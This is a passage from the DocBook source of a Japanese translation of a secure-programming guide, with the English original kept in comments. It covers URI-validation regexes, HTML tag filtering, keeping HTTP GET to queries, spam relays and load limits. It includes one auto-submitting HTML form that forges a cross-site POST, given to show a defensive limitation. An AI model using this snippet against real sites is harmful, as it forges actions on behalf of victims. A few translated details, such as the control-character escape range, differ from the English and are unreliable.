またその他多くの文字の利用も防ぎます。繰り返しますが、出来の良くない Web 
アプリケーションは「予想外の」文字をうまく扱えません。
</para>

<para>
<!--
Even this ``mostly safe'' URI permits
a number of questionable URIs, such as
subdirectories (via ``/'') and attempts to move up directories (via `..'');
illegal queries of this kind should be caught by the server.
It permits some illegal host identifiers (e.g., ``20.20''),
though I know of no case where this would be a security weakness.
Some web applications treat subdirectories as query data (or worse,
as command data); this is hard to prevent in general since finding
``all poorly designed web applications'' is hopeless.
You could prevent the use of all paths, but this would make it
impossible to reference most Internet information.
The pattern also allows references to local server information
(through patterns such as "http:///", "http://localhost/", and
"http://127.0.0.1") and access to servers on an internal network;
here you'll have to depend on the servers correctly interpreting the
resulting HTTP GET request as solely a request for information and not
a request for an action,
as recommended in <xref linkend="avoid-get-non-queries">.
Since query forms aren't permitted by this pattern, in many environments
this should be sufficient.
-->
この「ほとんど安全な」URI でさえ、疑わしい URI をいろいろと許可してしまいます。
疑わしいものとは、サブディレクトリ(「/」を利用して)や上位ディレクトリへの移動
(「..」を利用して)を試みるようなものです。
この手の不正なクエリは、サーバが検知すべきです。
不正なホスト ID(たとえば「20.20」)は許可してしまいますが、これがセキュリティ
上の弱点となったケースを私は知りません。
Web アプリケーションには、サブディレクトリをクエリのデータ(もっとひどい
ものだと、コマンドのデータ)として扱うものもあります。これを防ぐのは一般的に
困難です。というのも、「お粗末な設計の Web アプリケーションすべて」を見つ
けられる見込みは皆無だからです。
パスの使用制限は可能ですが、そうしてしまうとインターネット上の情報をほとんど
参照できなくなってしまいます。
またこのパタンでは、ローカルなサーバ上の情報(「http:///」や
「http://localhost/」、「http://127.0.0.1」を使って)は参照可能で、マシンの内部
ネットワークを使ってサーバにアクセスしています。
ここではサーバが、HTTP の GET 命令の結果を何かを動かす命令ではなく、単に情報
を取得する、という正しい解釈をするという前提に立たなければなりません。
<xref linkend="avoid-get-non-queries"> でこの点を推奨しています。
このパタンではクエリの書式を認めていませんので、ほんとんどの環境ではこれで
十分なはずです。
</para>

<para>
<!--
Unfortunately, the ``mostly safe''
pattern also prevents a number of quite legitimate and useful URIs.
For example,
many web sites use the ``?'' character to identify specific documents
(e.g., articles on a news site).
The ``#'' character is useful for specifying specific sections of a document,
and permitting relative URIs can be handy in a discussion.
Various permitted characters and URL escapes aren't included in the
``mostly safe'' pattern.
For example, without permitting URL escapes, it's difficult to access
many non-English pages.
If you truly need such functionality, then you can use less safe patterns,
realizing that you're exposing your users to higher risk while
giving your users greater functionality.
-->
残念ながら、「ほとんど安全な」パタンが、まともで役に立つ URI も数多く防いで
しまいます。
たとえば、Web サイトの多くは、「?」文字を特定のドキュメントを区別するのに
使用しています(たとえば news サイトでの記事)。
「#」文字はドキュメント中の特定のセクションを特定するのに役に立ちますし、
相対 URI を許可することで、議論が扱い易くなります。
さまざまな許可された文字や URL エスケープは「ほとんど安全な」パタンには
含まれていません。
たとえば、URL エスケープを許可しないと、英語以外のページにアクセスするのは
困難になります。
本当にそのような機能が必要なら、機能が上がるほどユーザのリスクも増えるという
ことを認識した上で、安全性が低いパタンを使ってもかまいません。
</para>

<para>
<!--
One pattern that permits queries, but at
least limits the protocols and ports used is the following,
which I'll call the ``simple somewhat safe pattern'':
-->
クエリは許可するが、プロトコルやポートに制限をかけるパタンは
下記の通りです。私はこれを「単純でやや安全なパタン」と呼ぶことにします。
<programlisting width="79">
 (http|ftp|https)://[-A-Za-z0-9._]+(\/([A-Za-z0-9\-\_\.\!\~\*\'\(\)\%\?]+))*/?
</programlisting>
<!--
This pattern actually isn't very smart, since it permits illegal escapes,
multiple queries, queries in ftp, and so on.
It does have the advantage of being relatively simple.
-->
このパタンは洗練されているわけではありません。不正なエスケープや複数のクエリ、
ftp でのクエリ等を認めているからです。
ただ比較的単純という長所は持っています。
</para>

<para>
<!--
Creating a ``somewhat safe'' pattern that really limits URIs
to legal values is quite difficult.
Here's my current attempt to do so, which I call
the ``sophisticated somewhat safe pattern'', expressed in a form
where whitespace is ignored and comments are introduced with "#":
-->
現実には、「やや安全な」パタンの作成して、正しい値を持つ URI を制限するのは
非常に難しい作業です。
ここでは、現状私が試しているパタンである「手の込んだやや安全なパタン」
を載せてみます。空白は無視して、コメントは「#」で表示してあります。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Warning!  If you are cutting and pasting this pattern, make sure that
  the "&amp;" is turned back into an ampersand, and that the whitespace
  is removed before use or ignored during use. -->

<programlisting width="79">
 (
 (
  # Handle http, https, and relative URIs:
  ((https?://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?))|
    ([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)?
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
   (\?(                                                              # query:
       (([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+=
        ([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+
        (\&amp;([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+=
         ([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*)
       |
       (([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+  # isindex
       )
   ))?
   (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )|
 # Handle ftp:
 (ftp://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?)
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
  (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )
 )
</programlisting>

</para>

<para>
<!--
Even the sophisticated pattern shown above doesn't forbid all illegal URIs.
For example, again, "20.20" isn't a legal domain name, but it's allowed
by the pattern; however, to my knowledge
this shouldn't cause any security problems.
The sophisticated pattern forbids URL escapes that represent
control characters (e.g., %00 through $1F) - 
the smallest permitted escape value is %20 (ASCII space).
Forbidding control characters prevents some trouble, but it's
also limiting; change "2-9" to "0-9" everywhere if you need to support sending
all control characters to arbitrary web applications.
This pattern does permit all other URL escape values in paths,
which is useful for international characters but could cause trouble
for a few systems which can't handle it.
The pattern at least prevents spaces, linefeeds,
double-quotes, and other dangerous characters
from being in the URI, which prevents other kinds of
attacks when incorporating the URI into a generated document.
Note that the pattern permits ``+'' in many places, since in practice
the plus is often used to replace the space character
in queries and fragments.
-->
上記の手の込んだパタンでも、不正な URI すべてを禁止するわけではありません。
たとえば、繰り返しになりますが「20.20」は不正なドメイン名ですが、パタンを
通過してしまいます。しかし私の知るところでは、これによってセキュリティ上の
問題は発生しません。
手の込んだパタンは制御文字(たとえば %00 から %FF の範囲)を表す URL エス
ケープを禁止しています。許可している最小のエスケープ値は、%20(ASCII の空白)
です。
制御文字を禁止することで、トラブルはいくつか防げますが、制約もあります。
すべての「2-9」を「0-9」に変更することで、制御文字を任意の Web アプリケーション
に送れるようになります。
このパタンはパスにおいて、これ以外すべての URL エスケープを許可しています。
国際化文字には便利ですが、国際化文字を扱えないシステムでは問題を起こします。
このパタンは少なくとも URI の中で、空白や改行、二重引用符、その他危ない文字を
防ぎます。これによって、その URI を作成済みのドキュメントに組み込んだ時に
その他の種類の攻撃を防ぎます。
このパタンはあちこちで「+」を許可している点に注意してください。理由は、
プラスが現実には空白文字の代わりとして、クエリやフラグメントで使われている
からです。
</para>
<para>
<!--
Unfortunately, as noted above,
there are attacks which can work through any technique that permit query data,
and there don't seem to be really good defenses for them once you
permit queries.
So, you could strip out the ability to use query data from the
pattern above, but permit the other forms, producing a
``sophisticated mostly safe'' pattern:
-->
上記で述べたように、残念なことにクエリデータを許可すると、そのテクニックを
使った攻撃があり、またクエリを許可してしまうと、現実に防御がほうまくできない
ように思えます。
そこで、上記のパタンからクエリデータを扱う機能を除いてしまうことも、やろうと
思えば可能です。やり方を変えて「手の込んだやや安全なパタン」を作成してみます。
<programlisting width="79">
 (
 (
  # Handle http, https, and relative URIs:
  ((https?://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?))|
    ([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)?
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
   (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )|
 # Handle ftp:
 (ftp://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?)
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
  (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )
 )
</programlisting>
</para>

<para>
<!--
As far as I can tell, as long as these patterns are only used to check
hypertext anchors selected by the user (the "&lt;a&gt;" tag)
this approach also prevents the insertion of ``web bugs''.
Web bugs are simply text that allow someone other
than the originating web server
of the main page to track information such as who read
the content and when they read it -
see <xref linkend="embedded-content-bugs"> for more information.
This isn't true if you use the &lt;img&gt; (image) tag with the same
checking rules - the image tag is loaded immediately, permitting
someone to add a ``web bug''.
Once again, this presumes that you're not permitting any attributes;
many attributes can be quite dangerous and pierce the security you're
trying to provide.
-->
今言えることは、これらのパタンがユーザが選択したハイパーテキストのアンカー
(「&lt;a&gt;」タグ)だけをチェックしている限り、この方法で「Web のバグ」の
混入も防ぎます。
Web バグは単純なテキストで、メインページのある大元の Web サーバではない第三者
が、いつ誰がそのコンテンツを読んだか、というような情報を追跡できるように
します。詳しい情報は、 <xref linkend="embedded-content-bugs"> を見てください。
同じようなチェックルールで &lt;img&gt;(画像)タグに使っているなら、これは
当てはまりません。画像タグは即座にロードされ、誰かが「Web バグ」を追加できます。
くどいようですが、ここではどんな属性も許可していない、ということを前提にして
います。危険な属性はとても多く、せっかく提供しようとしているセキュリティに
穴をあけてしまいます。
</para>

<para>
<!--
Please note that all of these patterns require the entire URI match
the pattern.
An unfortunate fact of these patterns is that they limit the
allowable patterns in a way that forbids many useful ones
(e.g., they prevent the use of new URI schemes).
Also, none of them can prevent the very real problem that some web sites
perform more than queries when presented with a query - and some of these
web sites are internal to an organization.
As a result, no URI can really be safe until there
are no web sites that accept GET queries as an action
(see <xref linkend="avoid-get-non-queries">).
For more information about legal URLs/URIs, see IETF RFC 2396;
domain name syntax is further discussed in IETF RFC 1034.
-->
これらすべてのパタンは、URI がそのパタンに完全にマッチしていることが条件
になっていることをどうか忘れないでください。
このパタンで不満なところは、ある面、許容可能なパタンにも制限をかけてしまい、
便利なパタンの多くを禁じてしまうところです(たとえば新たな URI スキームの利用
を妨げます)。
また、Web サイトの中には 1 つのクエリを表わすのに、さらに多くのクエリが実行
されるところもあり、これを防ぐのは現実問題としてとても困難です。さらにその
ような Web サイトには、全体構成に組み込まれてしまっているものもあります。
結果として、Web サイトが複数の GET クエリを 1 つの動作として受け取る限りは、
URI は本当に安全とは言えません(<xref linkend="avoid-get-non-queries"> 参照)。
正しい URL や URI についてさらに情報が知りたければ、IETF RFC 2396 を
見てください。ドメイン名の書式については、IETF RFC 1034 で詳しく論じています。
</para>
</sect2>

<sect2 id="other-html-tags">
<!-- <title>Other HTML tags</title> -->
<title>その他の HTML タグ</title>

<para>
<!--
You might even consider supporting more HTML tags.
Obvious next choices are the list-oriented tags, such as
&lt;ol&gt; (ordered list),
&lt;ul&gt; (unordered list),
and &lt;li&gt; (list item).
However, after a certain point you're really permitting
full publishing (in which case you need to trust the provider or perform more
serious checking than will be described here).
Even more importantly, every new functionality you add creates an
opportunity for error (and exploit).
-->
さらに HTML タグをサポートするにはどうしたら、と考えても不思議はありません。
次に打つ手ははっきりしています。それはリスト形式のタグで、
&lt;ol&gt; (ordered list)や &lt;ul&gt; (unordered list)、&lt;li&gt; 
(list item)がその対象になります。
しかしあるところまで来てしまうと、実際すべての機能を許可していることになります
(その場合、提供者を信頼するか、ここで説明した内容よりも厳しくチェックする
必要があります)。
それより重要なのは、追加した新しい機能はどれもが、エラー(もしくは攻撃しやすい
ところ)になるとっかかりとなる点です。
</para>

<para>
<!--
One example would be permitting the
&lt;img&gt; (image) tag with the same URI pattern.
It turns out this is substantially less safe, because this
permits third parties to insert ``web bugs'' into the document,
identifying who read the document and when.
See <xref linkend="embedded-content-bugs"> for more information on web bugs.
-->
例として、同じような URI パタンで &lt;img&gt;(画像)タグを許可する場合を挙げ
ます。
許可することで、明らかに安全性が下がります。理由は、「Web バグ」の挿入を
第三者に許可してしまうからです。Web バグで、誰が、いつこのドキュメントを
読んだのかを特定できます。
Web バグを詳しく知りたければ <xref linkend="embedded-content-bugs"> を見て
ください。
</para>
</sect2>

<sect2 id="related-issues">
<!-- <title>Related Issues</title> -->
<title>関連事項</title>

<para>
<!--
Web applications should also explicitly specify the character set
(usually ISO-8859-1), and not permit other characters, if data from 
untrusted users is being used.
See <xref linkend="output-character-encoding"> for more information.
-->
Web アプリケーションは文字集合(普通は ISO-8859-1)を指定しなければいけません。
信頼できないユーザがデータが他の文字を使っていても、許可してはいけません。
<xref linkend="output-character-encoding"> にさらに詳しい情報があります。
</para>

<para>
<!--
Since filtering this kind of input is easy to get wrong, other
alternatives have been discussed as well.
One option is to ask users to use a different language, much simpler
than HTML, that you've designed - and you give that language very limited
functionality.
Another approach is parsing the HTML into some internal ``safe'' format,
and then translating that safe format back to HTML.
-->
この種の入力をフィルタすると、間違いが起こりやすいので、他の手段も同様に
論じられてきました。
選択肢の 1 つは、別の言語を使うようにユーザへ確認を取るというもので、これは
HTML よりも簡単に設計できます。
デザインする HTML がより単純になります。またその言語に対して機能に制限を
かけられます。
もう 1 つの解決方法は、HTML を解析して、「安全な」内部形式に変換し、その
安全な形式を HTML に解釈し直す方法があります。
</para>

<para>
<!--
Filtering can be done during input, output, or both.
The CERT recommends filtering data during the output process,
just before it is rendered as part of the dynamic page.
This is because, if it is done correctly, 
this approach ensures that all dynamic content is filtered.
The CERT believes that filtering on the input side is less effective
because dynamic content can be entered into a web sites database(s) via
methods other than HTTP, and in this case,
the web server may never see the data as part of the input process.
Unless the filtering is implemented in all places where dynamic data
is entered, the data elements may still be remain tainted.
-->
フィルタリングは入力時、出力時、もしくはその両方で実施できます。
CERT が推奨している方法は、データを出力の過程、つまり動的なページの一部
としてまさにレンダリングされる前でのフィルタです。
正しく実施できれば、このやり方で確実に動的なコンテンツをすべてフィルタ
できます。
CERT は、入力側でのフィルタリングはあまり効果がでない、と考えています。
理由は、動的なコンテンツが HTTP という手段ではなく、 Web サイトを構成する
データベースの一部になっているからです。そしてこの場合、Web サーバは入力処理
過程においてそのデータを扱いません。
フィルタリングが、動的なデータが入ってくるあらゆる場所で実行されない限り、
データの中身は汚染されたままになっているでしょう。
</para>

<para>
<!--
However, I don't agree with CERT on this point for all cases.
The problem is that it's just as easy to forget to filter all the output
as the input, and allowing ``tainted'' input into your system
is a disaster waiting to happen anyway.
A secure program has to filter its inputs anyway, so it's sometimes better
to include all of these checks as part of the input filtering
(so that maintainers can see what the rules really are).
And finally, in some secure programs there are many different program
locations that may output a value, but only a very few ways and locations
where a data can be input into it;
in such cases filtering on input may be a better idea.
-->
しかし、私はこの点に関して CERT に同意しかねます。
入力と同様、出力すべてに対して、うっかりフィルタをかけ忘れてしまう点に問題が
あります。また「汚染された」データのシステムへの侵入を許すと、どこかで厄介ごと
が起こるのを待つ羽目になります。
安全なプログラムは、入力すべてをフィルタしなければいけません。これらのチェック
を入力フィルタの一部に入れる方が良い場合があるからです(そうすれば、メンテナー
が、そのルールは本当にそうなっているのかを確認できるようになります)。
そして、安全が必要となるプログラムには、プログラムのあちこちで出力を行う箇所
があるものの、データがプログラムに入力される方法や場所はほんの数ヶ所になって
いる場合があります。このようなケースでは、入力でフィルタリングする方法は優れた
方法になるでしょう。
</para>
</sect2>

</sect1>

<sect1 id="avoid-get-non-queries">
<!--
<title>Forbid HTTP GET To Perform Non-Queries</title>
-->
<title>クエリ以外の実行に HTTP の GET 命令を使わせない</title>
<para>
<!--
Web-based applications using HTTP should prevent the use of
the HTTP ``GET'' or ``HEAD'' method for anything other than queries.
HTTP includes a number of different methods; the two most popular methods
used are GET and POST.
Both GET and POST can be used to transmit data from a form, but the
GET method transmits data in the URL, while the POST method
transmits data separately.
-->
HTTP を利用した Web ベースのアプリケーションでは、クエリ以外の目的で HTTP の
「GET」もしくは「HEAD」命令を使わないようにしてください。
HTTP にはさまざまな命令がたくさんあります。最も普通に使われる命令は、
GET と POST の 2 つです。
GET も POST もフォームからデータを送信できますが、GET 命令は URL にデータを
入れて送信します。その一方、POST 命令は URL とは別にデータを送信します。
</para>

<para>
<!--
The security problem of using GET to perform non-queries
(such as changing data, transferring money, or signing up for a service)
is that an attacker can create a hypertext link
with a URL that includes malicious form data.
If the attacker convinces a victim to click on the link
(in the case of a hypertext link),
or even just view a page (in the case of transcluded information
such as images from HTML's img tag), the victim
will perform a GET.
When the GET is performed,
all of the form data created by the attacker will be sent by the victim
to the link specified.
This is a cross-site malicious content attack, as discussed further in
<xref linkend="cross-site-malicious-content">.
-->
GET をクエリ以外の命令(データの変更やお金の振り込み、あるサービスにサイン
アップするような)に利用すると発生してしまうセキュリティ上の問題は、攻撃者が
悪意あるフォームデータが存在する URL に対してハイパーテキストリンクを
張れるところにあります。
攻撃者が犠牲者を誘導して、そのリンクをクリックしたり(ハイパーテキストリンクの
場合)、あるページを見たりしただけで(HTML の画像タグから画像として情報が
伝わってくる場合)、GET が実行されます。
GET が実行されると、犠牲者は、攻撃者が作成したフォームデータすべてを特定の
リンクへと送ります。
このサイトにまたがった悪意あるコンテンツによる攻撃については、さらに
<xref linkend="cross-site-malicious-content"> で論じます。
</para>

<para>
<!--
If the only action that a malicious cross-site content attack can perform is
to make the user view unexpected data, this isn't as serious a problem.
This can still be a problem, of course, since there are some attacks
that can be made using this capability.
For example, there's a
potential loss of privacy due to the user requesting something unexpected,
possible real-world effects from appearing to request illegal or
incriminating material, or by making the user request the information
in certain ways the information may be exposed to an attacker
in ways it normally wouldn't be exposed.
However, even more serious effects can be caused if the malicious attacker
can cause not just data viewing, but changes in data, through
a cross-site link.
-->
サイトにまたがった悪意あるコンテンツによる攻撃が、思いがけないデータをユーザ
に見せるだけであれば、それほど問題は深刻ではありません。
もちろんこれはこれで問題なのですが、他にもこの機能を使った攻撃があるのが
問題なのです。
たとえば、ユーザが予期せずに何かを要求しまうことで、プライバシーが流出する
可能性がでてきます。そうなると、違法もしくは違法になるような資料を要求した
ように見えることで、現実に問題となったり、ユーザに何らかの方法で情報を要求
させて、本来は公開されない情報を攻撃者へ公開させたりするかもしれません。
しかしもっと影響が深刻なのは、悪意ある攻撃者がただデータを見るだけでなく、
サイトをまたがったリンクによって、データを改竄する行為です。
</para>

<para>
<!--
Typical HTTP interfaces (such as most CGI libraries) normally hide the
differences between GET and POST, since for getting data it's useful
to treat the methods ``the same way.''
However, for actions that actually cause something other than a data query,
check to see if the request is something other than POST;
if it is, simply display a filled-in form with the data given and ask
the user to confirm that they really mean the request.
This will prevent cross-site malicious content attacks, while still
giving users the convenience of confirming the action with
a single click.
-->
一般的な HTTP のインタフェース(たいては CGI ライブラリ)は、GET と POST の
違いをわからなくしていますので、データ取得という点からすると双方の命令を
「同一の方法」として扱う方が便利です。
しかし、データクエリ以外の何かの処理を実際に行うなら、要求が POST 以外に
何をするのかを見てチェックする必要があります。
もしそうなら、与えられたデータをフォームに入れてただ表示し、ユーザが本当に
その要求をするつもりなのか、確認してください。
こうすることで、サイトをまたがった悪意あるコンテンツに対する攻撃を防げます。
ただしユーザには、簡単にワンクリックで確認できるようにしなければなりません。
</para>

<para>
<!--
Indeed, this behavior is strongly recommended by the HTTP specification.
According to the HTTP 1.1 specification (IETF RFC 2616 section 9.1.1),
``the GET and HEAD methods SHOULD NOT have the significance of
taking an action other than retrieval.
These methods ought to be considered "safe".
This allows user agents to represent other methods,
such as POST, PUT and DELETE, in a special way,
so that the user is made aware of the fact that a possibly
unsafe action is being requested.''
-->
実際、HTTP の仕様書ではこの行為を強く推奨しています。
HTTP 1.1 の仕様書(IETF RFC 2616 セクション 9.1.1)によると、
「GET や HEAD 命令を検索以外で動かす「意味はないはず」です。
これらの命令は「安全」であるはずです。
これはユーザエージェントに対して、特別な方法でその他の命令である POST や PUT、
DELETE の代役を許可します。
その結果、安全でないかもしれない処理が要求されている、という事実をユーザが
知るところとなります」。
</para>

<para>
<!--
In the interest of fairness, I should note that this doesn't
completely solve the problem, because on some browsers
(in some configurations) scripted posts can do the same thing.
For example, imagine a web browser with ECMAscript (Javascript) enabled
receiving the following HTML snippet - on some browsers, simply
displaying this HTML snippet will
automatically force the user to send a POST request to a website
chosen by the attacker, with form data defined by the attacker:
-->
公正を期しますが、これでは問題を完全には解決できない点に注意してください。
なぜなら、ブラウザ(の設定の中)にはスクリプト化された POST で同じような
動作ができるものがあるからです。
たとえば、ECMAscript(Javascript)が動作可能な Web ブラウザが下記の HTML 
の断片を受け取ったと仮定します。あるブラウザは、この HTML の断片を
表示するだけで、攻撃者が定義したフォームデータを強制的にユーザが自動で
攻撃者が選んだ Web サイトに対して POST 命令を送ってしまいます。
<programlisting>
<![CDATA[
  <form action=http://remote/script.cgi method=post name=b>
    <input type=hidden name=action value="do something">
    <input type=submit>
  </form>
  <script>document.b.submit()</script>
]]>
</programlisting>
<!--
My thanks to David deVitry pointing this out.
However, although this advice doesn't solve all problems, it's
still worth doing.
In part, this is because the remaining problem
can be solved by smarter web browsers
(e.g., by always confirming the data before
allowing ECMAscript to send a web form) or
by web browser configuration (e.g., disabling ECMAscript).
Also, this attack doesn't work in many cross-site scripting exploits, because
many websites don't allow users to post ``script'' commands but do
allow arbitrary URL links.
Thus, limiting the actions a GET command can perform to queries
significantly improves web application security.
-->
この点を指摘してくれた David deVitry 氏には感謝しています。
しかしこのアドバイスでも問題すべては解決できません。しかしやるだけの価値
はあります。
残りの問題はある程度、より賢いブラウザ(たとえば、ECMAscript がある Web 
フォームを送る前には常にそのデータを確認する)や Web ブラウザの設定(たとえば、
ECMAscript を無効にする)で解決できます。
また、この攻撃はクロスサイト・スクリプティング攻撃の多くでは機能しません。
理由は、Web サイトの多くは、ユーザが「script」コマンドを POST できないよう
にしていますが、URL リンクを自由に張れるようにしているからです。
つまり、GET コマンドの動作を制限すると、クエリに対して Web アプリケーションの
セキュリティが著しく改善します。
</para>

</sect1>

<sect1 id="counter-spam">
<!-- <title>Counter SPAM</title> -->
<title>SPAM に対抗する</title>
<para>
<!--
Any program that can send email elsewhere, by request from the network,
can be used to transport spam.
Spam is the usual name for unsolicited bulk email (UBE) or
mass unsolicited email.
It's also sometimes called unsolicited commercial email (UCE), though
that name is misleading - not all spam is commercial.
For a discussion of why spam is such a serious problem,
see
-->
どこかに電子メールを送れるプログラムなら、ネットワークからの要求で SPAM の
運び屋になれます。
SPAM という言葉は通称で、正式には unsolicited bulk email(UBE)もしくは、mass 
unsolicited email と言います。
unsolicited commercial email(UCE)とも言いますが、これは誤解を生みます。SPAM 
すべてが商売用ではないからです。
SPAM がなぜ深刻な問題となっているのかは、次を参照してください。
<ulink url="http://mail-abuse.org/">http://mail-abuse.org/</ulink>,
<ulink url="http://spam.abuse.net/">http://spam.abuse.net/</ulink>,
<ulink url="http://http://www.cauce.org/">CAUCE</ulink>, and
<ulink url="http://www.faqs.org/rfcs/rfc2635.html">IETF RFC 2635</ulink>
<!--
Spam receivers and intermediaries bear most of the cost
of spam, while the spammer spends very little to send it.
Therefore most people regard spam as a theft of service, not as some
armless activity.
-->
SPAM を受け取ったり中継したりする人が、SPAM によるコストの大部分を負担して
いて、SPAM を送った人は送るのにほとんどコストがかかっていません。
したがって、SPAM をサービス泥棒とみなしている人が大半で、無防備な行為だとは
思っていません。
</para>
<para>
<!--
If your program can be used to generate email sent to others
(such as a mail transfer agent, generator of data sent by email, or
a mailing list manager),
be sure to write your program to prevent its unauthorized use as a
mail relay.
A program should usually only allow legitimate authorized users
to send email to others (e.g., those inside that company's mail server
or those legitimately subscribed to the service).
More information about this is in
<ulink url="http://www.faqs.org/rfcs/rfc2505.html">IETF RFC 2505</ulink>
-->
プログラムが他に送る電子メールを作成するようなら(MTA や 電子メールでデータを
送りつけるもの、メーリングリスト管理等)、プログラムが絶対に不正な電子メール
の中継をしないように作成してください。
プログラムは普通、正規に認められたユーザだけが他者に電子メールを送れるように
してください(たとえば、企業のメールサーバへ登録したり、正式にサービスに加入
したり)。
さらに詳しい情報は、
<ulink url="http://www.faqs.org/rfcs/rfc2505.html">IETF RFC 2505</ulink>
にあります。
<!--
Also, if you manage a mailing list, make sure that it can enforce the
rule that only subscribers can post to the list, and create a ``log in''
feature that will make it somewhat harder for spammers to subscribe, spam, and
unsubscribe easily.
-->
また、メーリングリストを運用しているなら、登録者だけが投稿可能というルールを
必ず実施してください。また「ログイン」機能を付加することで、SPAM を送りつける
人が、登録・SPAM送出・脱退をするのに、多少なりとも困難が伴います。
</para>
<para>
<!--
One way to more directly counter SPAM is to incorporate support for the
MAPS (Mail Abuse Prevention System LLC) RBL (Realtime Blackhole List),
which maintains in real-time
a list of IP addresses where SPAM is known to originate.
For more information, see
<ulink url="http://mail-abuse.org/rbl/">http://mail-abuse.org/rbl/</ulink>.
Many current Mail Transfer Agents (MTAs) already support the RBL;
see their websites for how to configure them.
The usual way to use the RBL is to simply refuse to accept any requests
from IP addresses in the blackhole list;
this is harsh, but it solves the problem.
I believe there are other similar services as well.
-->
SPAM に対するより直接的な対抗策の 1 つに、MAPS (Mail Abuse Prevention 
System LLC)や RBL (Realtime Blackhole List)に加入する方法があります。
ここは、SPAM の出所として知られている IP アドレスの一覧を随時更新しています。
さらに詳しい情報は
<ulink url="http://mail-abuse.org/rbl/">http://mail-abuse.org/rbl/</ulink> 
を見てください。
最近の Mail Transfer Agent(MTA)の多くは、既に RBL をサポートしています。
どのように設定するかは、それぞれの Web サイトを見てください。
通常 RBL を利用すると、ブラックホール・リストに載っている IP アドレスからの
いかなる要求も単純に拒否します。
これは厳しいやり方ですが、問題を解決します。
他にも同様な機能を提供するサービスがあると思います。
</para>
<para>
<!--
I suggest that many systems and programs,
by default, enable spam blocking if they
can send email on to others whose identity is under control
of a remote user - and that includes MTAs.
At the least, consider this.
There are real problems with this suggestion, of course -
you might (rarely) inhibit communication with a legitimate user.
On the other hand, if you don't block spam, then it's likely that everyone
<emphasis>else</emphasis> will blackhole your system
(and thus ignore your emails).
It's not a simple issue, because no matter what you do, some people
will not allow you to send them email.
And of course, how well do you trust the organization keeping up the
real-time blackhole list - will they add truly innocent sites to the
blackhole list, and will they remove sites from the blackhole list
once all is okay?
Thus, it becomes a trade-off - is it more important to talk to spammers
(and a few innocents as well), or is it more important to talk to
those many other systems with spam blocks
(losing those innocents who share equipment with spammers)?
Obviously, this must be configurable.
This is somewhat controversial advice, so consider your options for
your circumstance.
-->
システムやプログラムで電子メールを他の所に配送でき、その相手の区別が相手
ユーザの管理下にある場合、システムやプログラムの多くではデフォルトで SPAM 
のブロックを有効にするようお薦めします。 MTA も対象になります。
何はともあれ検討してください。
もちろんこの提案は、現実的には問題があります。それは正規のユーザとのやり
取りが(まれに)禁じられるかもしれない点です。
一方、SPAM をブロックしなければ、<emphasis>すべての人</emphasis>があなたの
システムをブラックリストに載せる恐れがあります(つまりあなたの電子メールは
無視されます)。
この問題は単純ではありません。あなたが何をしようとも、電子メールを受け取ら
ない人が出てくるからです。
もちろん RBL を管理している組織をどれだけ信頼するか、という問題もあります。
たとえば、本当は潔白なサイトがブラックリストに追加されたとします。そして今回
限りということで、その組織がリストから削除されました。あなたはそれで OK で
しょうか。
つまり、トレードオフなのです。大切なのは、SPAM を送ってくる人(潔白な人も
いくらかいます)や SPAM をブロックしている他のシステム(SPAM を送ってくる人
と同じ設備を使っている無実な人を排除しています)と協調することではないで
しょうか。
柔軟に対応しなければいけないのは自明です。
議論の余地のある提案なので、皆さんが置かれている立場を考えてみてください。
</para>
</sect1>

<sect1 id="limit-time">
<!-- <title>Limit Valid Input Time and Load Level</title> -->
<title>入力時間と負荷レベルに制限をかける</title>

<para>
<!--
Place time-outs and load level limits, especially on incoming network data.
Otherwise, an attacker might be able to easily cause a denial of service
by constantly requesting the service.
-->
タイムアウトを設けたり、負荷レベルに制限をかけてください。ネットワークから
入ってくるデータには特にそうです。
さもないと、攻撃者は継続してサービスを要求して、サービス拒否攻撃を簡単に実行
できてしまうかもしれません。
</para>

</sect1>

</chapter>

<chapter id="buffer-overflow">
<!--
<title>Avoid Buffer Overflow</title>
-->
<title>バッファオーバーフローの回避</title>

<epigraph>
<!--
<attribution>Amos 3:11 (NIV)</attribution>
-->
<attribution>旧約聖書 アモス書 3 章 11 節</attribution>
<para>
<!--
An enemy will overrun the land;
he will pull down your strongholds and
plunder your fortresses.
-->
敵がこの地を囲み、
お前の砦を倒し、城郭を略奪する。
</para>
</epigraph>

<para>
<!--
